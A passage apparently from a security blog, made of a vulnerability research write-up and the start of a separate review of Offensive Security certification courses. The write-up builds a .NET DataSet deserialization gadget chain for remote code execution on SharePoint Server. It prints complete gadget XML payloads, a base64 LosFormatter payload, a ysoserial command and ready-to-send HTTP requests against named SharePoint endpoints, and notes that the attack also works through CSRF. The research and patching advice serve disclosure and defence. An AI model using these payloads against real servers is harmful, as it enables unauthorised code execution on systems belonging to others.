            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
			
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }		

Using the WriteXmlSchema method, It’s possible to write out the schema definition. That code produces the following:

<?xml version="1.0" standalone="yes"?>
<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="exp_x0020_table">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

Looking into the code of DataSet it’s revealed that it exposes its own serialization methods (wrapped over XmlSerializer) using WriteXml and ReadXML:

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

Now, all that’s left to do is add the table to a dataset and serialize it up:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single DataSet expected type in the instantiated XmlSerializer object graph.

The DataSet Gadget

Below is an example of such a gadget that can be crafted, note that this is not to be confused with the DataSet gadgets in ysoserial:

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"/>
          </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

This gadget chain will call an arbitrary static method on a Type which contains no interface members. Here I used the notorious XamlReader.Parse to load malicious Xaml to execute a system command. I used the ExpandedWrapper class to load two different types as mentioned by @pwntester’s amazing research.

It can be leveraged in a number of sinks, such as:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);		

Many applications consider DataSet to be safe, so even if the expected type can’t be controlled directly to XmlSerializer, DataSet is typically used in the object graph. However, the most interesting sink is the DataSet.ReadXml to trigger code execution:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");		

Applying the Gadget to SharePoint Server

If we take a look at ZDI-20-874, the advisory mentions the Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (DataSet) in its class name. Let’s take a look at SharePoint’s default web.config file:

      <controls>
        <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
        <add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
      </controls>

Under the controls tag, we can see that a prefix doesn’t exist for the Microsoft.PerformancePoint.Scorecards namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted.

<configuration>
  <configSections>
  <SharePoint>
    <SafeControls>
      <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" />
	  ...

Now that we know we can instantiate classes from that namespace, let’s dive into the code to inspect the ExcelDataSet type:

namespace Microsoft.PerformancePoint.Scorecards
{

	[Serializable]
	public class ExcelDataSet
	{

The first thing I noticed is that it’s serializable, so I know that it can infact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the System.Xml.Serialization.XmlIgnoreAttribute attribute. SharePoint uses XmlSerializer for creating objects from controls so anywhere in the code where attacker supplied data can flow into TemplateControl.ParseControl, the ExcelDataSet type can be leveraged.

One of the properties that stood out was the DataTable property since it contains a public setter and uses the type System.Data.DataTable. However, on closer inspection, we can see that the XmlIgnore attribute is being used, so we can’t trigger the deserialization using this setter.

[XmlIgnore]
public DataTable DataTable
{
	get
	{
		if (this.dataTable == null && this.compressedDataTable != null)
		{
			this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
			if (this.dataTable == null)
			{
				this.compressedDataTable = null;
			}
		}
		return this.dataTable;
	}
	set
	{
		this.dataTable = value;
		this.compressedDataTable = null;
	}
}

The above code does reveal the partial answer though, the getter calls GetObjectFromCompressedBase64String using the compressedDataTable property. This method will decode the supplied base64, decompress the binary formatter payload and call BinaryFormatter.Deserialize with it. However, the code contains expected types for the deserialization, one of which is DataTable, So we can’t just stuff a generated TypeConfuseDelegate here.

		private static readonly Type[] ExpectedSerializationTypes = new Type[]
		{
			typeof(DataTable),
			typeof(Version)
		};

Inspecting the CompressedDataTable property, we can see that we have no issues setting the compressedDataTable member since it’s using System.Xml.Serialization.XmlElementAttribute attribute.

[XmlElement]
public string CompressedDataTable
{
	get
	{
		if (this.compressedDataTable == null && this.dataTable != null)
		{
			this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
		}
		return this.compressedDataTable;
	}
	set
	{
		this.compressedDataTable = value;
		this.dataTable = null;
	}
}

Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous DataTable:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 1688

<%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" />

However, I couldn’t figure out a way to trigger the DataTable property getter. I know I needed a way to use the DataSet, but I just didn’t know how too.

Many Paths Lead to Rome

The fustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the DataSet.ReadXml sink was also a source of trouble, so I checked the code again and found this valid code path:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

Inside of the ContactLinksSuggestionsMicroView class we can see the GetDataSet method:

		protected override DataSet GetDataSet()
		{
			base.StopProcessingRequestIfNotNeeded();
			if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
			{
				return null;
			}
			DataSet dataSet = new DataSet();
			DataTable dataTable = dataSet.Tables.Add();
			dataTable.Columns.Add("PreferredName", typeof(string));
			dataTable.Columns.Add("Weight", typeof(double));
			dataTable.Columns.Add("UserID", typeof(string));
			dataTable.Columns.Add("Email", typeof(string));
			dataTable.Columns.Add("PageURL", typeof(string));
			dataTable.Columns.Add("PictureURL", typeof(string));
			dataTable.Columns.Add("Title", typeof(string));
			dataTable.Columns.Add("Department", typeof(string));
			dataTable.Columns.Add("SourceMask", typeof(int));
			if (this.IsInitialPostBack)                                                                                      // 2
			{
				this.PopulateDataSetFromSuggestions(dataSet);
			}
			else
			{
				this.PopulateDataSetFromCache(dataSet);                                                                  // 3
			}
			this.m_strJavascript.AppendLine("var user = new Object();");
			foreach (object obj in dataSet.Tables[0].Rows)
			{
				DataRow dataRow = (DataRow)obj;
				string scriptLiteralToEncode = (string)dataRow["UserID"];
				int num = (int)dataRow["SourceMask"];
				this.m_strJavascript.Append("user['");
				this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
				this.m_strJavascript.Append("'] = ");
				this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
				this.m_strJavascript.AppendLine(";");
			}
			StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
			dataSet.WriteXml(stringWriter);
			SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
			return dataSet;
		}

At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition.

		protected void PopulateDataSetFromCache(DataSet ds)
		{
			string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
			using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
			{
				xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
				ds.ReadXml(xmlTextReader);                                                                              // 4
				ds.AcceptChanges();
			}
		}

Inside of PopulateDataSetFromCache, the code calls SPRequestParameterUtility.GetValue to get attacker controlled data from the __SUGGESTIONSCACHE__ request variable and parses it directly into ReadXml using XmlTextReader. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to remote code execution. To trigger this, I created a page that uses the ContactLinksSuggestionsMicroView type specifically:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 252

<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ContactLinksSuggestionsMicroView runat="server" />

If you are exploiting this bug as a low privlidged user and the AddAndCustomizePages setting is disabled, then you can possibly exploit the bug with pages that instantiate the InputFormContactLinksSuggestionsMicroView control, since it extends from ContactLinksSuggestionsMicroView.

namespace Microsoft.SharePoint.Portal.WebControls
{

	[SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
	[AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
	public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
	{

I found a few endpoints that implement that control (but I haven’t had time to test them) Update: Soroush Dalili tested them for me and confirmed that they are indeed, exploitable.

  1. /_layouts/15/quicklinks.aspx?Mode=Suggestion
  2. /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

Now, to exploit it we can perform a post request to our freshly crafted page:

POST /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

Note that each of these endpoints could also be csrfed, so credentials are not necessarily required.

One Last Thing

You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity:

{System.InvalidOperationException: There is an error in the XML document. ---> System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. ---> System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

You need to find another dangerous static method or setter to call from a type that doesn’t use interface members, I leave this as an exercise to the reader, good luck!

Remote Code Execution Exploit

Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it’s better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the LosFormatter.Deserialize method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized ObjectStateFormatter gadget chain:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

Now, we can plug the payload into the following DataSet gadget and trigger remote code execution against the target SharePoint Server!

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

Gaining code execution against the IIS process

Conclusion

Microsoft rate this bug with an exploitability index rating of 1 and we agree, meaning you should patch this immediately if you haven’t. It is highly likley that this gadget chain can be used against several applications built with .net so even if you don’t have a SharePoint Server installed, you are still impacted by this bug.

References

Offensive Security: From OSCE to OSCE3

8 August 2022 at 16:16

OSCE3 (Offensive Security Certified Expert 3) is a certification from Offensive Security which has replaced the (now retired) OSCE certification. This post explores a pentester’s journey from being OSCE certified to becoming OSCE3 certified.

Way back in the halcyon year of 2012, I received the OSCE certification from Offensive Security. At the time, it was regarded as one of the more difficult to obtain certifications and required an in-depth knowledge of several deep technical subjects. These included advanced (at the time) web application hacking, advanced (at the time) shellcoding skills, and advanced (at the time) fuzzing and exploit creation skills.

Upon obtaining the OSCE certification, it was quite easy to show that one had a myriad of skills in the security world and would be able to pentest, or at least be able to hack their way out of a paper bag. However, the security world marches on, and techniques become obsolete or outdated – or in this case, both. What was once considered cutting edge generalist training became a shadow of its former self.

Introducing: Offensive Security Certified Expert 3 (OSCE3)

Fortunately, Offensive Security was aware of this, and recently revamped the OSCE training and certification into far more in-depth and relevant courses. It was split into three separate trainings: Advanced Web Attacks and Exploitation, which has the OSWE certificate, Evasion Techniques and Breaching Defenses, which has the OSEP certificate, and Windows User Mode Exploit Development, which has the OSED certificate. Obtaining all three would give the OSCE3 certificate, which is the new and improved version of the OSCE that I had originally obtained.

I decided that I was going to update my certification status. I was interested both in the advanced training that was offered, and in seeing if all of the security experience I had gained in the meantime made it relevant for me to obtain. Meaning, yeah, I would get some shiny letters, but would it actually up my game? With that in mind, I jumped into the training, eventually receiving all three of the certifications and obtaining my OSCE3, with the final certificate earned 11 months after my first was earned.

What follows is my review of the three courses, with a particular eye towards their relevancy to those who have already been pentesters for a while.

Offensive Security Web Expert (OSWE/WEB-300)

Advanced Web Attacks and Exploitation (referred to as AWAE or WEB-300) is an advanced web attack course that replaces the (admittedly minor) web portion of OSCE. Those who complete the course and pass the exam earn the Offensive Security Web Expert (OSWE) certification. While both courses dealt with reading the source code of a web application and finding a vulnerability, the OSCE version seemed more of an afterthought than a core part of the course. AWAE is designed to change all of that, bringing in a fully fleshed-out course dealing with code review and exploit creation on the web.

And, oh boy, does it ever! There are some basic topics that are taken much further, like XSS and SQL injection. Every tester should know how to exploit them, but the course helps bring more interesting payloads and shift direction on basic exploitation to kick it up a notch. While everyone can drop a BeEF payload and hope it works, or fake a password form for XSS, there is so much more to do, and the content really helps bring that mindset across. Application specific payloads are the norm, and while the exact use cases are not going to be as easily replicated as the studies in the labs, the mindset shift of “Let’s put in the password form in the XSS field” to “What is the most impactful action we can take on the application, and how can I code the payload to do it?” is a fantastic step forward.

And that’s not even the best part. The best part of the AWAE course, where it truly shines? The more niche and unique topics. Deserialization, SSRF, CORS, and more are all explained *thoroughly*. Where perhaps in other courses the explanation was too much, in this one, there is just enough to get all of the nuances across without overloading with useless information.

The proofs of concept are also fantastic. Some of them are contrived, like the CORS payloads, in order to prove the point, but the vast majority of them are works of art explaining how to comprehensively exploit an application. The code created in the course is generally portable and adaptable, so once created, the proof of concept can work for you forever. That’s service.

Of the modules in the material, I think I enjoyed the deserialization the most. Before AWAE, while I could scan and potentially exploit these issues, there were definitely parts I did not understand. However, with the thorough, step by step explanations in the course, every mystery was laid to rest, and it became second nature. In fact, in a live engagement during the course, I was able to pull down an executable from Citrix via a breakout exploit. Upon examining the code, I found an unsafe deserialization in how it handled clipboard data. Several hours of Googling to find a program to edit the hex values and attributes of clipboard data later, I had a simple copy/paste payload that would trigger a shell on the Citrix server. I’ll be honest, before the course, I likely would not have been able to craft that payload, and would have left exploitation as an exercise to the reader.

There are three challenge labs in AWAE, each of which highlights various portions of the course. However, I took the course before the labs were released, so I do not have comments on them. From my activity on the forums and OffSec Discord, I hear good things.

I will hold my comments on the format of the exam, other than to say that of all the OffSec exams, it felt the most real world. At no point did I feel that an obstacle was artificial, and all were overcome the way I would have done it in a live pentest.

There are, of course, some areas where I felt the AWAE course could do with further development. At times it was hard to follow along in the PDF and videos, and making changes to code to add the next step in the PoC scripts can be awkward. Sometimes, that requires moving to the forums or discord to be told that there was a minor error in the code, which can get frustrating at times. Connectivity to the apps can also be an issue, with certain requests hanging because of the VPN or the like. While they exist, they do not lower the quality of the learning.

The real-world value of this course, even for an experienced tester is fantastic. Deeper understanding, better payloads, faster outcomes, and more. This is definitely a course to take to up your game to the next level.

Offensive Security Experienced Penetration Tester (OSEP/PEN-300)

Geared as an advanced infrastructure course, OSEP aims to replace the second leg of the tripod that was OSCE and its materials. The core it seeks to replace was the very spindly leg of creating code-caves and custom XOR encoding schemes.

At its core, OSEP teaches Active Directory fundamentals, antivirus evasion, and lateral movement techniques that are seen everywhere today – and I would say it does an excellent job.

